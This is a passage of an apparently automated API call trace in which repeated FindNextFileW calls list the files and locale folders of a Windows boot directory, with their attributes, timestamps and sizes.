ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0069.156] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0069.156] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0069.156] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0069.156] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0069.156] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0069.156] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0069.157] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0069.157] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0069.157] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0069.157] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0069.157] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0069.157] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0069.157] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0069.157] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0069.158] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0069.158] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0069.158] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0069.158] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0069.158] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0069.158] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0069.158] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0069.158] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0069.159] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0069.159] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0069.159] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0069.159] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0069.159] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0069.159] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0069.159] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0069.159] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0069.160] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0069.160] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0069.160] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0069.160] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0069.160] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0069.160] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0069.160] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0069.160] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0069.161] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0069.161] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0069.161] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0069.161] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0069.161] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x0, dwReserved1=0x0, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1 [0069.161] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0069.161] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0069.161] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0069.162] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0069.162] FindClose (in: 